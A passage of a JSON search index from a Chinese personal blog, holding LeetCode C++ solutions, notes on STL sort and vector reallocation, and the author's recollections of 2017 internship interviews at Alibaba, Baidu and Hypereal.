Res","date":"2017-03-09","externalUrl":null,"permalink":"/2017/03/reservoir-sampling-algorithm/","section":"Posts","summary":"面京东被这个问题卡了QAQ，来补补这方面的课。 转自：链接 蓄水池抽样算法随机算法的一种，用来从 N 个样本中随机选择 K 个样本，其中 N 非常大（以至于 N 个样本不能同时放入内存）或者 N 是一个未知数。其时间复杂度为 O(N),包含下列步骤 (假设有一维数组 S, 长度未知，需要从中随机选择 k 个元素, 数组下标从 1 开始), 伪代码如下:","tags":["蓄水池抽样"],"title":"蓄水池抽样算法概述(Reservoir Sampling Algorithm)[转载]","type":"post"},{"categories":["面试"],"content":"题目链接 题意：给一个二维数组。。。每一行每一列都分别递增。。问某个value是否出现过。。。 思路：单调。。显然二分。。。唯一的技巧是从右上角开始搜。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年03月09日 星期四 19时03分07秒 4File Name :74.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 bool searchMatrix(vector\u003cvector\u003cint\u003e\u003e\u0026 matrix, int target) { 11 12 int n = matrix.size(); 13 if (n==0) return false; 14 int m = matrix[0].size(); 15 if (m==0) return false; 16 int row = 0 ; 17 int col = m-1; 18 while (col\u003e=0\u0026\u0026row\u003cn) 19 { 20 if (matrix[row][col]==target) return true; 21 else 22 if (matrix[row][col]\u003etarget) col--; 23 else row++; 24 } 25 return false; 26 27 } 28 29};","date":"2017-03-09","externalUrl":null,"permalink":"/2017/03/leetcode-74-search-a-2d-matrix/","section":"Posts","summary":"题目链接 题意：给一个二维数组。。。每一行每一列都分别递增。。问某个value是否出现过。。。","tags":["binary search"],"title":"leetcode 74. Search a 2D Matrix","type":"post"},{"categories":["面试"],"content":"一开始是晚上七点半，直接一个电话过来就开始面试》。。 窝说不方便，又约了周末下午或者晚上，然后周六上午来了电话….。。。。于是又约了周天下午。。。 然后窝从两点开始等。。。等到六点半。。。决定去教室写报告。。。然后刚到教室电话就来了orz… 先是常规的简单自我介绍。。 然后先是问了一些cpp的问题。。 问了一些cpp的问题： 先是问了c和cppneicu内存的区别。。。我：？？？？？ 内存区别什么鬼。。 然后就回答了malloc,free,delete,new的区别。。。好像就是这个问题。。。 第二个问题是什么时候会内存泄露。。 我说申请了内存没释放blablabla… 第三个问题是cpp哪些函数不能为虚函数： 我说构造函数。。。面试官姐姐问还有呢。。。。窝说不知道了orz… 第四个问题问了指针和引用的区别。。。 我回答了三方面。。。初始化。。。赋值。。还有类型转化上。。。 面试官姐姐问还有呢。。。。我：喵喵喵喵喵？。。。不知道了。。。给点提示可？ 面试官姐姐说在作为参数传递的时候。。。 我说传数组只能用指针。。不能用引用。。。 第五个问题问了栈和堆在xx方面的区别。。。（xx我不记得原词是什么了。。大概是说使用场合？） 我说一个是系统用。。一个是程序员用。。。（？？？ 第六个问题是问我面向对象的特性。。。 我说是继承。。封装。。多态。。个人认为最核心的是多态blablabla… 然后面试官姐姐就问cpp多态的体现。。。 我说分动多态和静多态。。。。。。然后把模板，，，函数重载。。。虚函数什么的说了一下。。。 这大概是第一部分。。。第二部分问了我数据结构。。。 先问了我堆排。。。 给我一串无序数。。让我构造一个大根堆。。。。 我。。竟然。。。一脸智障。。。。。。 真的不记得了。。。。虽然记得这题数据结构考试还考过吧。。。 最后在面试官姐姐的提示下。。蒙出来了。。。人生污点啊。。。orz 然后问我复杂度。。。稳定性。。。 又问了快排。。让我给他讲一下快排。。。 我就说了取pivot的几种策略。。。然后复杂度的平均和最坏情况。。。以及避免最坏情况的方法。。。 然后面试官姐姐问我最坏情况的数据是怎么样的。。。 这个经典问题我竟然也。。。。（人生污点*2 答案是基本单调的。。。 然后问我一个有序的数组。。找index=value的值。。数组没有重复元素。。。 其实一开始没说单调。。。我问了一句她才说漏了个条件2333. 单调。。那就二分呗。然而我口头描述了下二分的代码。。。 就是l和r的值什么要注意一下吧。。。 然后问我有单调有重复怎么办。。。 一开始没过脑子。。。说了个两次二分出一个区间。。事实证明是错误的。。。 然而实际上只要稍微修改下二分代码就好了。。。。 之后问我一棵二叉树。。如何in-place 按照前序遍历转化成单项链表。。。想了一会。。。还是不会orz。。。 这大概是leetcode的套路题吧。。。由于觉得leetcode太恶心。。。刷了80+就没再刷了。。。QAQ 然后第三部分。。。问我我OS的东西。。。 问我了内核态和用户态的区别。。。 然后问我linux的blablabla….我说我不会QAQ 面试官姐姐就没再问这方面了。。。 后来面试官姐姐说这方面她也不太懂。。。 第四部分。。。问了我数据库。。？ 就问了一个 事务的特性。。。 我就回答了acid…每个解释了一下。。。 然后就没了吧。。。","date":"2017-03-05","externalUrl":null,"permalink":"/2017/03/intern-interview-of-alibaba/","section":"Posts","summary":"一开始是晚上七点半，直接一个电话过来就开始面试》。。 窝说不方便，又约了周末下午或者晚上，然后周六上午来了电话….。。。。于是又约了周天下午。。。","tags":["算法竞赛"],"title":"阿里一面.","type":"post"},{"categories":["工程"],"content":"回想起大一的时候打cf…那个时候对C++还不怎么熟悉。。。用sort不会自定义排序方式。。 于是手写快排。。。直接取中间元素没加随机化。。。跪了。。。 后来知道sort怎么写以后。。发现sort是可以通过的。。。 于是我就一直以为sort是带随机化的快排。。。 然而实际上是： sort在数据量比较大的时候用quick_sort…当分段后的数据量小于某个门槛，为了避免对此递归带来的额外负担。。采取插入排序的策略。。 以及。。。快排在最快情况下还是会到达平方的复杂度。。。 于是有人发明了introsort…中文翻译叫内省排序。。。？ 维基百科_introsort 这个算法其实就是。。对于数据量大的时候。。。一开始还是快排。。。但是当递归深度过深时。。用堆排。。。 据说现在的STL一般都是用了introsort….","date":"2017-03-01","externalUrl":null,"permalink":"/2017/03/cpp-sort/","section":"Posts","summary":"回想起大一的时候打cf…那个时候对C++还不怎么熟悉。。。用sort不会自定义排序方式。。","tags":["cpp","sort"],"title":"C++ sort学习笔记","type":"post"},{"categories":["面试"],"content":"啊。。。虽然结果还没出来。。。不过回想发现有些细节已经有些记不清了。。。 所以打算先记录一下？ 就算过不了。。。也算是积累一些经验。 一面： # 先是简单自我介绍。。。 然后问了2-sum…?(。。。我之前真不知道这是套路题。。。花了较长时间。。。被面试官姐姐（or适牛？）吐槽不够smartQAQ 姐姐表示没听过。。我说就是two-pointer…之后要求我实现一下尺取做法的代码。。。 有点久没写尺取竟然写残了。。。？面试官姐姐看了之后说。。。你的two pointer 怎么head和tail都在一端啊。。。不应该在两端吗。。。我表示喵喵喵喵喵？ 我写了好多尺取都是在一端。。。不过这倒是提醒了我。。。改对了代码。。。一头一尾。。。难道说这不叫two pointer? 还是说。。。尺取和two pointer根本不是一个东西。。。 之后好像问了道有很多人买5元一瓶的饮料。。。但是有一半人手里是有5元钱的，有一半人手里只有10元。初始饮料店老板手里没钱。。问合法的方案数？ 听懂题目以后直觉和母函数有关系。。。就试探性问了句面试官姐姐。。。 发现果然是对的。。。然后面试官姐姐直接就说出了关键字catalan数….说是本打算让我自己推倒一遍的。。。 嗯。。虽然当时啃《组合数学》的时候母函数这部分我看得很细。。catalan数也是ACM题目的常客。。。。以及16年以前网上能找到的普通型母函数和指数型母函数的题目我基本A光了。。。但是感觉真让我推一遍。。。在面试的紧张气氛里。。。说不定就gg了。。。。。 好像算法题就这两个？ 之后好像问了一个。。。大概是说同一个新闻可能会被不同站点报道。。。怎么去判断两个新闻稿件的相似度。。。 我说新闻稿件一般都会有图片。。。一张图片某些关键信息可以作为该图片的特征值。。。一般会有多张图片。。。然后算个n维向量的余弦值。。。。 然后文字部分。。。首先stop word什么的肯定要去掉。。。然后同一个新闻的不同稿件。。。时间地点人物什么的都应该一样。。。没有意义。。。 不同稿件应该是观点不同？ 所以我觉得应该重点关注那些表示观点的词。。。由于中文表示观点的词应该还算相对有限？ 可以打个表把不同类别的词赋值成不同的值。。。然后hash一下。。。？ （感觉自己全程口胡。。。。 其实一面应该还问了其他问题。。。？ 我实在不记得了。。。这几个问题是印象比较深刻的。。。 然后挂了一面电话没几分钟。。。就接了二面电话。。。。上来就面试问问题。。。被效率吓到。。。以至于我以为是哪里搞错了。。。还问了句。。。请问这是什么面试2333. 二面： # 一开始好像问了个。。将一个数组的奇数放在前半部分。。。偶数放在后半部分。。。要求 原地完成。。。 这个还好。。。就是两个指针一前一后搞一搞。。。 然后问了。。。搜索中的敏感词问题。。。 问怎么把正文中的敏感词全部替换成星号。。。 我问敏感词多吗?好像是说1000个？反正不多。。。 我就说AC自动机就好。。。敏感词建一个AC自动机。。。然后正文扔进去跑。。。 面试官问我复杂度。。。。啊。。我。。。真的不记得。。。想了下说应该是O((n+m)*L)吧。。。L是字符表的大小。。。。 面试官说这效率不够好。。。让我再想想。。。。 我想到了hash….说把敏感词hash一下。。。？ 面试官问我正文怎么办。。。要把每个词也都hash吗。。。 我当时绝逼脑子短路了。。。以为两个字的词是把n个字两两组合。。。。。我怎么这么傻。。。然后觉得这复杂度显然炸了啊。。。不行。。。 实际上就是O(n)好么。。。再加上敏感词一般都不长。。。 于是我就放弃hash的思路了。。。。 黔驴技穷。。。最后给出了个口胡的统计上的思路。。。 就说统计敏感词的那些字的出现概率。。。以及每个敏感词的字的前后都是那些字（因为这些字出现在一起才敏感）。。。 根据马尔科夫假设。。。每个字出现的概率只和其前面一个字有关blablabla…. 然后面试官说。。可以。。但是做不到精确。。。有没有精确的做法。。。 我又想了下。。说除了AC自动机我想不出别的做法了。。。 然后就问下一道题了。。。 说是一个随机数发生器。。。得到0的概率是p，得到1的概率是1-p，问如何等概率生成0和1.。 我想了下说好像和之前遇到的一个问题有点像。。。那道题是给你","date":"2017-02-28","externalUrl":null,"permalink":"/2017/02/baidu-intern-interview/","section":"Posts","summary":"啊。。。虽然结果还没出来。。。不过回想发现有些细节已经有些记不清了。。。","tags":["百度","面试经历"],"title":"百度实习生面试总结","type":"post"},{"categories":["工程"],"content":"起因是百度实习二面的时候被问了一道类似这样的题： 给我下面的代码，问有没有什么问题。 1 /* *********************************************** 2 Author :111qqz 3 Created Time :2017年02月28日 星期二 14时49分37秒 4 File Name :vector.cpp 5 ************************************************ */ 6 #include \u003ccstdio\u003e 7 #include \u003cvector\u003e 8 #include \u003cctime\u003e 9 using namespace std; 10 int func( int x ) //此处函数的条件是不单调...这样才可以触发问题. 11 { 12 return (x-50)*(x-50)+1; 13 } 14 int main() 15 { 16 17 vector\u003cint\u003evec; 18 int *pint = NULL; 19 for ( int i = 0 ; i \u003c 100 ; i++) 20 { 21 int x = func(i); 22 vec.push_back(x); 23 if (x\u003c500) 24 { 25 pint = \u0026 vec[0]; 26 } 27 } 28 if (pint) 29 *pint = 0 ; 30 int siz = vec.size(); 31 for ( int i = 0 ; i \u003c siz ; i++) printf(\"%d\\n\",vec[i]); 32 return 0; 33 } 面试的时候只给了部分代码，func函数没有给出。 当时没有看出问题在哪里… 后来知道了，这道题其实考的是vector的底层实现… 以下内容参考《STL源码解析》4.2章 侯捷著 vector是动态增加空间，但是并不是在原空间后面增加新空间（因为不能保证原空间之后是否还有可以配置的空间），而是以原大小的两倍另外配置一块较大空间，然后将原内容拷贝过来，之后才开始在原内容后面构建新内容，并释放原空间。 # 因此，对vector的任何操作，一旦引起对空间重新配置，指向原vector的所有迭代器都失效了！ 因此，对vector的任何操作，一旦引起对空间重新配置，指向原vector的所有迭代器都失效了！ 因此，对vector的任何操作，一旦引起对空间重新配置，指向原vector的所有迭代器都失效了！ vector采取的是存储方式是连续线性空间，用两个迭代器start和finsh分别指向当前配置的空间中已经使用的部分的开始和结尾，用另一个迭代器end_of_storage指向当前配置的整块连续空间（包含备用部分）的尾端。 当我们用push_back()将元素插入vector尾端时，push_back()会先检查是是否还有备用空间，如果有就直接在备用空间上构建元素，并调整迭代器finsh，使vector变大。如果没有备用空间了，就扩充空间。 可以用以下代码来测试： 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2017年02月28日 星期二 14时33分10秒 5 File Name :vector1.cpp 6 ************************************************ */ 7 #include \u003ccstdio\u003e 8 #include \u003cvector\u003e 9 #include \u003ciostream\u003e 10 using namespace std; 11 int main() 12 { 13 vector\u003cint\u003ea; 14 a.push_back(0); 15 int lst = -1; 16 for ( int i = 0 ; i \u003c 200 ; i++) 17 { 18 a.push_back(-1); 19 // if (a.capacity()!=lst) 20 printf(\"i:%d %d \",i,a.capacity()); 21 cout\u003c\u003c\u0026a[0]","date":"2017-02-28","externalUrl":null,"permalink":"/2017/02/cpp-vector/","section":"Posts","summary":"起因是百度实习二面的时候被问了一道类似这样的题： 给我下面的代码，问有没有什么问题。","tags":["cpp","vector"],"title":"cpp vector学习笔记","type":"post"},{"categories":["面试"],"content":"题目链接 题意：求一棵二叉树中，所有一段连续路径之和等于给定值的路径数目。 思路：想了半天就只能想到暴力。。。复杂度大概O(n^2)。。。也不是不可以接受。。。但是感觉这也太暴力了。。就去看了题解。。。发现题解就还真是暴力orz。。。 1/** 2 * Definition for a binary tree node. 3 * struct TreeNode { 4 * int val; 5 * TreeNode *left; 6 * TreeNode *right; 7 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 8 * }; 9 */ 10class Solution { //思路：枚举每个起点？？？好暴力啊。。。卧槽。。正解就是这样。。。 11public: 12 int dfs(TreeNode* root,int sum) 13 { 14 int res = 0 ; 15 if (root==NULL) return res; 16 if (root-\u003eval==sum) res++; 17 res += dfs(root-\u003eleft,sum-root-\u003eval)+dfs(root-\u003eright,sum-root-\u003eval); 18 return res; 19 } 20 int pathSum(TreeNode* root, int sum) { 21 if (root==NULL) return 0; 22 return dfs(root,sum)+pathSum(root-\u003eleft,sum)+pathSum(root-\u003eright,sum); 23 } 24};","date":"2017-02-24","externalUrl":null,"permalink":"/2017/02/leetcode-437-path-sum-iii/","section":"Posts","summary":"题目链接 题意：求一棵二叉树中，所有一段连续路径之和等于给定值的路径数目。","tags":["brute force"],"title":"leetcode 437. Path Sum III","type":"post"},{"categories":["面试"],"content":"题目链接 题意：判断一棵二叉树是否是自己的镜像。做法是做个copy，相当于两棵树做比较。注意逻辑不要漏掉就好 1/** 2 * Definition for a binary tree node. 3 * struct TreeNode { 4 * int val; 5 * TreeNode *left; 6 * TreeNode *right; 7 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 8 * }; 9 */ 10class Solution { 11public: 12 13 bool leaf(TreeNode* root) 14 { 15 if (root-\u003eleft==NULL\u0026\u0026root-\u003eright==NULL) return true; 16 return false; 17 } 18 bool mirror(TreeNode* rt1,TreeNode* rt2) 19 { 20 21 if (rt1==NULL\u0026\u0026rt2==NULL) return true; 22 if (rt1==NULL||rt2==NULL) return false; 23 printf(\"%d %d\\n\",rt1-\u003eval,rt2-\u003eval); 24 if (leaf(rt1)\u0026\u0026leaf(rt2)\u0026\u0026rt1-\u003eval==rt2-\u003eval) return true; 25 if (leaf(rt1)||leaf(rt2)) return false; //包含了其中一个是叶子，或者两个都是叶子但是值不相等的情况。 26 if (rt1-\u003eval!=rt2-\u003eval) return false; //不是叶子，但是值不相等，没必要继续了。 27 bool res = true; 28 res = mirror(rt1-\u003eleft,rt2-\u003eright); 29 if (!res) return false; 30 res = mirror(rt2-\u003eleft,rt1-\u003eright); 31 if (!res) return false; 32 return true; 33 } 34 bool isSymmetric(TreeNode* root) { 35 if (root==NULL) return true; 36 return mirror(root,root); 37 38 } 39};","date":"2017-02-24","externalUrl":null,"permalink":"/2017/02/leetcode-101-symmetric-tree-add-to-list/","section":"Posts","summary":"题目链接 题意：判断一棵二叉树是否是自己的镜像。做法是做个copy，相当于两棵树做比较。注意逻辑不要漏掉就好","tags":["算法竞赛"],"title":"leetcode 101. Symmetric Tree Add to List（二叉树，判断镜像）","type":"post"},{"categories":["面试"],"content":"题目链接 题意：判断一颗二叉树是否平衡…. 思路：直接搞就好了。。。神TM又忘记dfs的时候忘记返回子调用的值。。。。我这是药丸啊。。。 1 /** 2 * Definition for a binary tree node. 3 * struct TreeNode { 4 * int val; 5 * TreeNode *left; 6 * TreeNode *right; 7 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 8 * }; 9 */ 10class Solution { //错误原因：左右子树都平衡的树未必平衡！！！！ 11public: 12 bool leaf(TreeNode* root) 13 { 14 if (root-\u003eleft==NULL\u0026\u0026root-\u003eright==NULL) return true; 15 return false; 16 } 17 int dep(TreeNode* root) 18 { 19 if (root==NULL) return 0; 20 return max(dep(root-\u003eleft),dep(root-\u003eright))+1; 21 } 22 bool dfs(TreeNode* root) 23 { 24 bool res = true; 25 if (abs(dep(root-\u003eleft)-dep(root-\u003eright))\u003e1) return false; 26 if (root-\u003eleft!=NULL) res = dfs(root-\u003eleft); 27 if (!res) return false; 28 if (root-\u003eright!=NULL) res = dfs(root-\u003eright); 29 if (!res) return false; 30 return true; 31 } 32 bool isBalanced(TreeNode* root) { 33 if (root==NULL) return true; 34 bool res = dfs(root); 35 return res; 36 } 37};","date":"2017-02-24","externalUrl":null,"permalink":"/2017/02/leetcode-110-balanced-binary-tree/","section":"Posts","summary":"题目链接 题意：判断一颗二叉树是否平衡…. 思路：直接搞就好了。。。神TM又忘记dfs的时候忘记返回子调用的值。。。。我这是药丸啊。。。","tags":["算法竞赛"],"title":"leetcode 110. Balanced Binary Tree","type":"post"},{"categories":["面试"],"content":"题目链接 题意：求一个BST中某两个节点LCA…. 思路：卧槽。。。竟然求LCA…直接想到的显然是Tarjan的方法或者。。。RMQ+DFS。。。但是感觉。。。leetcode怎么可能考算法。。。。于是想到。。。可以从BST下手。。。 两个节点的LCA的值一定在这两个节点之间。 可以根据这个条件做二分。。。 这道题的收获是。。。不要被已知的东西限制住思路。。。tarjan或者RMQ+DFS显然也能做。。。但是那样的相当于没有用到BST的条件。。。 1/** 2 * Definition for a binary tree node. 3 * struct TreeNode { 4 * int val; 5 * TreeNode *left; 6 * TreeNode *right; 7 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 8 * }; 9 */ 10class Solution { 11public: 12 TreeNode * Find(TreeNode* root,TreeNode* p,TreeNode *q) 13 { 14 if (root==NULL) return NULL; //实际上这应该不可能发生》。。。 15 int rt = root-\u003eval; 16 int a = p-\u003eval; 17 int b = q-\u003eval; 18 if (a\u003c=rt\u0026\u0026rt\u003c=b) return root; 19 if (b\u003c=rt\u0026\u0026rt\u003c=a) return root; 20 if (a\u003crt\u0026\u0026b\u003crt) return Find(root-\u003eleft,p,q); 21 if (a\u003ert\u0026\u0026b\u003ert) return Find(root-\u003eright,p,q); 22 } 23 TreeNode* lowestCommonAncestor(TreeNode* root, TreeNode* p, TreeNode* q) { 24 if (root==NULL) return NULL; 25 TreeNode* res = Find(root,p,q); 26 return res; 27 } 28};","date":"2017-02-22","externalUrl":null,"permalink":"/2017/02/leetcode-235-lowest-common-ancestor-of-a-binary-search-tree/","section":"Posts","summary":"题目链接 题意：求一个BST中某两个节点LCA…. 思路：卧槽。。。竟然求LCA…直接想到的显然是Tarjan的方法或者。。。RMQ+DFS。。。但是感觉。。。leetcode怎么可能考算法。。。。于是想到。。。可以从BST下手。。。","tags":["binary search","LCA"],"title":"leetcode 235. Lowest Common Ancestor of a Binary Search Tree（求一个BST中某两个节点LCA）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求一棵树的深度。。。。 思路：。。。定义搞即可。。按照左右子树中大的算。。。因为据说是经典题（虽然并不觉得2333。。。所以记录下。。。 1/** 2 * Definition for a binary tree node. 3 * struct TreeNode { 4 * int val; 5 * TreeNode *left; 6 * TreeNode *right; 7 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 8 * }; 9 */ 10class Solution { 11public: 12 13 int dfs(TreeNode* root) 14 { 15 if (root==NULL) return 0; 16 return max(dfs(root-\u003eleft),dfs(root-\u003eright))+1; 17 } 18 19 int maxDepth(TreeNode* root){ 20 if (root==NULL) return 0; 21 int res = dfs(root); 22 return res; 23 24 25 } 26};","date":"2017-02-22","externalUrl":null,"permalink":"/2017/02/leetcode-104-maximum-depth-of-binary-tree/","section":"Posts","summary":"题目链接 题意：求一棵树的深度。。。。 思路：。。。定义搞即可。。按照左右子树中大的算。。。因为据说是经典题（虽然并不觉得2333。。。所以记录下。。。","tags":["算法竞赛"],"title":"leetcode 104. Maximum Depth of Binary Tree（求一棵树的深度）","type":"post"},{"categories":["面试"],"content":"题目链接 题意：反转一棵二叉树。。。字面意思理解即可。。就是把每一棵子树的左右孩子交换。。。 思路：直接照着题意做就好了。。。没有坑。。记录的原因是听说这题比较经典（虽然毫无难度… 1/** 2 * Definition for a binary tree node. 3 * struct TreeNode { 4 * int val; 5 * TreeNode *left; 6 * TreeNode *right; 7 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 8 * }; 9 */ 10class Solution { 11public: 12 13 bool leaf(TreeNode* root) 14 { 15 if (root-\u003eleft==NULL\u0026\u0026root-\u003eright==NULL) return true; 16 return false; 17 } 18 void dfs(TreeNode* root) 19 { 20 if (leaf(root)) return; 21 TreeNode* tmp = root-\u003eleft; 22 root-\u003eleft = root-\u003eright; 23 root-\u003eright = tmp; 24 if (root-\u003eleft!=NULL) dfs(root-\u003eleft); 25 if (root-\u003eright!=NULL) dfs(root-\u003eright); 26 } 27 TreeNode* invertTree(TreeNode* root) { 28 if (root==NULL) return NULL; 29 dfs(root); 30 return root; 31 32 } 33};","date":"2017-02-22","externalUrl":null,"permalink":"/2017/02/leetcode-226-invert-binary-tree/","section":"Posts","summary":"题目链接 题意：反转一棵二叉树。。。字面意思理解即可。。就是把每一棵子树的左右孩子交换。。。","tags":["算法竞赛"],"title":"leetcode 226. Invert Binary Tree（反转二叉树）","type":"post"},{"categories":["面试"],"content":"题目链接 题意：给一棵树。。问是否存在一条从树根到叶子的路径，使得路径上每个点的val之和等于给定的sum。 思路：。。。直接搞就好。。。由于是比较经典的题目所以记录一下。。。注意递归的时候每一部分都要返回值orz..(我是多久没写代码了。。。 1/** 2 * Definition for a binary tree node. 3 * struct TreeNode { 4 * int val; 5 * TreeNode *left; 6 * TreeNode *right; 7 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 8 * }; 9 */ 10class Solution { 11public: 12 bool leaf(TreeNode* root) 13 { 14 if (root-\u003eleft==NULL\u0026\u0026root-\u003eright==NULL) return true; 15 return false; 16 } 17 int SUM; 18 bool dfs(TreeNode* root,int cur) 19 { 20 // cout\u003c\u003c\"val:\"\u003c\u003croot-\u003eval\u003c\u003c\" cur:\"\u003c\u003ccur\u003c\u003cendl; 21 bool ret=false; 22 if (cur+root-\u003eval==SUM\u0026\u0026leaf(root)) return true; 23 if (root-\u003eleft!=NULL) ret = dfs(root-\u003eleft,cur+root-\u003eval); 24 if (ret) return true; 25 if (root-\u003eright!=NULL) ret = dfs(root-\u003eright,cur+root-\u003eval); 26 if (ret) return true; 27 return false; 28 } 29 bool hasPathSum(TreeNode* root, int sum) { 30 if (root==NULL) return false; 31 SUM = sum; 32 bool res = dfs(root,0); 33 return res; 34 35 } 36};","date":"2017-02-22","externalUrl":null,"permalink":"/2017/02/112-path-sum/","section":"Posts","summary":"题目链接 题意：给一棵树。。问是否存在一条从树根到叶子的路径，使得路径上每个点的val之和等于给定的sum。","tags":["前缀和"],"title":"112. Path Sum","type":"post"},{"categories":["面试"],"content":"leetcode108 题意：把有一个有序的数组转化成一课高度尽量小的bst(二叉搜索树) 思路：我竟然忘记了什么是bst……..我好傻啊…不过想想可能是因为…最朴素的二叉搜索树几乎用不到…所以很容易忘记吧2333 bst是 binary search tree的缩写.. 具体见 维基百科_二叉搜索树 想起来概念就好搞了…直接递归建树即可…类似线段树的build的过程 1/* *********************************************** 2Author :111qqz 3Created Time :2017年02月21日 星期二 13时08分04秒 4File Name :108.cpp 5************************************************ */ 6/** 7 8 * Definition for a binary tree node. 9 10 * struct TreeNode { 11 12 * int val; 13 14 * TreeNode *left; 15 16 * TreeNode *right; 17 18 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 19 20 * }; 21 22 */ 23 24class Solution { 25 26public: 27 28 TreeNode* dfs( int l,int r,vector\u003cint\u003e\u0026nums) 29 { 30 31 int n = r-l+1; 32 if (n\u003c=0) return NULL; 33 int m = n/2; 34 cout\u003c\u003c\"l:\"\u003c\u003cl\u003c\u003c\" r:\"\u003c\u003cr\u003c\u003cendl; 35 TreeNode* rt = new TreeNode(nums[l+m]); 36 rt-\u003eleft = dfs(l,l+m-1,nums); 37 rt-\u003eright = dfs(l+m+1,r,nums); 38 return rt; 39 } 40 41 42 TreeNode* sortedArrayToBST(vector\u003cint\u003e\u0026 nums) { 43 44 int siz = nums.size(); 45 if (siz==0) return NULL; 46 return dfs(0,siz-1,nums); 47 } 48 49};","date":"2017-02-21","externalUrl":null,"permalink":"/2017/02/leetcode-108-convert-sorted-array-to-binary-search-tree/","section":"Posts","summary":"leetcode108 题意：把有一个有序的数组转化成一课高度尽量小的bst(二叉搜索树)","tags":["binary search tree"],"title":"leetcode 108. Convert Sorted Array to Binary Search Tree（有序数组转化成bst）","type":"post"},{"categories":["面试"],"content":"最近要准备面试…虽然leetcode的题目难度比较水..不过白板写代码还是要练下的。。。我所理解的白板写代码。。。大概就是。。。用记事本。。一遍写对代码的能力吧。。。所以我来记录一下。。思路想错的或者没有秒的题目。 （因为题目描述傻逼/数据范围故意坑人/leetcode抽风 / 我自己犯傻逼 等原因 没有一次通过的题目不在记录之列） leetcode107 题意：给一棵二叉树，从最底层往上依次输出每一个node的val.. 思路：一开始以为同一层的一定会在相邻时间内访问。。。后来发现的确是蠢了。。。 因此dfs的时候加了一个level域。。。每次dfs的时候先左后右就好了。。。 注意记得判断root为空的情况。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年02月20日 星期一 19时21分51秒 4File Name :107.cpp 5************************************************ */ 6/** 7 8 * Definition for a binary tree node. 9 10 * struct TreeNode { 11 12 * int val; 13 14 * TreeNode *left; 15 16 * TreeNode *right; 17 18 * TreeNode(int x) : val(x), left(NULL), right(NULL) {} 19 20 * }; 21 22 */ 23 24class Solution { 25 26public: 27 28 vector\u003cvector\u003cint\u003e\u003eres; 29 vector\u003cint\u003etmp[1500]; 30 int mx_level = 0 ; 31 void dfs( TreeNode* root,int level) 32 { 33// cout\u003c\u003c\"level:\"\u003c\u003clevel\u003c\u003cendl; 34 mx_level = max(mx_level,level); 35 if (root-\u003eleft!=NULL) 36 { 37 tmp[level].push_back(root-\u003eleft-\u003eval); 38 dfs(root-\u003eleft,level+1); 39 } 40 if (root-\u003eright!=NULL) 41 { 42 tmp[level].push_back(root-\u003eright-\u003eval); 43 dfs(root-\u003eright,level+1); 44 } 45 } 46 vector\u003cvector\u003cint\u003e\u003e levelOrderBottom(TreeNode* root) { 47 if (root==NULL) return res; 48 tmp[0].push_back(root-\u003eval); 49 dfs(root,1); 50 for ( int i = mx_level; i\u003e= 0 ; i--)if (!tmp[i].empty()) res.push_back(tmp[i]); 51 return res; 52 } 53 54};","date":"2017-02-20","externalUrl":null,"permalink":"/2017/02/leetcode-107-binary-tree-level-order-traversal-ii/","section":"Posts","summary":"最近要准备面试…虽然leetcode的题目难度比较水..不过白板写代码还是要练下的。。。我所理解的白板写代码。。。大概就是。。。用记事本。。一遍写对代码的能力吧。。。所以我来记录一下。。思路想错的或者没有秒的题目。","tags":["算法竞赛"],"title":"leetcode 107 Binary Tree Level Order Traversal II(最底层往上依次输出二叉树每一个node的val)","type":"post"},{"categories":["随笔杂谈","面试"],"content":"第一次参加面试orz…所以还是有点期待+紧张的2333 题目比较多，30分钟做了一半吧，之后就是和面试官聊。 优先编程题。 由于题目不可能做完。。我基本上是跳着做的。。。 看到一道求斐波那契第n项的题。。。我随口问面试官n的数据范围。。。 他说越优越好。。我问能实现的n越大越好？他说时间空间复杂度越低越好。 因为题目显然做不完。。我又确认了下。。是尽可能多做。。还是尽可能把每道题做优。。。 面试官说是后者。。 我想了一下。。。写了个lgn的算法。。。 然后有一道求等比数列第n项的题。。。 想了一下。。。不知道怎么优化。。就写了暴力。。。用了pow函数。。 之后面试官问我pow的实现原理。。。 我说好像是。。。康托展开。。？啊呸。。泰勒展开。。。 又问我时间复杂度。。。 隐约想起无数次打cf被pow函数坑。。。我回答了个。。。O(n)吧。。。 我好傻啊。。被坑是精度跪了又不是TLE。。。 还有一道 之后问了我lowbit函数的含义。。。顺便问了BIT的思想。。。 然后就是些C++相关的东西。。。一些容易混淆的概念。。。一些容易踩的坑什么的。。。 啊。。刚刚面试官说要求我保密。。。所以没办法发出来了orz","date":"2017-02-17","externalUrl":null,"permalink":"/2017/02/hypereal-interview/","section":"Posts","summary":"第一次参加面试orz…所以还是有点期待+紧张的2333","tags":["面试经历"],"title":"hypereal面小记","type":"post"},{"categories":["ACM"],"content":"1303: [CQOI2009]中位数图 # Time Limit: 1 Sec Memory Limit: 162 MB Submit: 2480 Solved: 1529 [Submit][Status][Discuss] Description # 给出1~n的一个排列，统计该排列有多少个长度为奇数的连续子序列的中位数是b。中位数是指把所有元素从小到大排列后，位于中间的数。 Input # 第一行为两个正整数n和b ，第二行为1~n 的排列。 Output # 输出一个整数，即中位数为b的连续子序列个数。 Sample Input # 7 4 5 7 2 4 3 1 6 Sample Output # 4 HINT # 第三个样例解释：{4}, {7,2,4}, {5,7,2,4,3}和{5,7,2,4,3,1,6} N\u003c=100000 思路：这道题的思路还是比较经典的…把大于b的数看成1，小于b的数看成-1..于是一段以b为中位数的连续的长度为奇数的数列的和为0. 那么从b往前做一个后缀和，往后做一个前缀和…然后统计每个前缀和/后缀和的值的个数.. 然后枚举前缀和/后缀和可能的值（-n..n，由于负数不好处理，整体+n，变成0..2n) 具体见代码 1/* *********************************************** 2Author :111qqz 3Created Time :2017年01月30日 星期一 20时13分11秒 4File Name :code/bzoj/1303.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 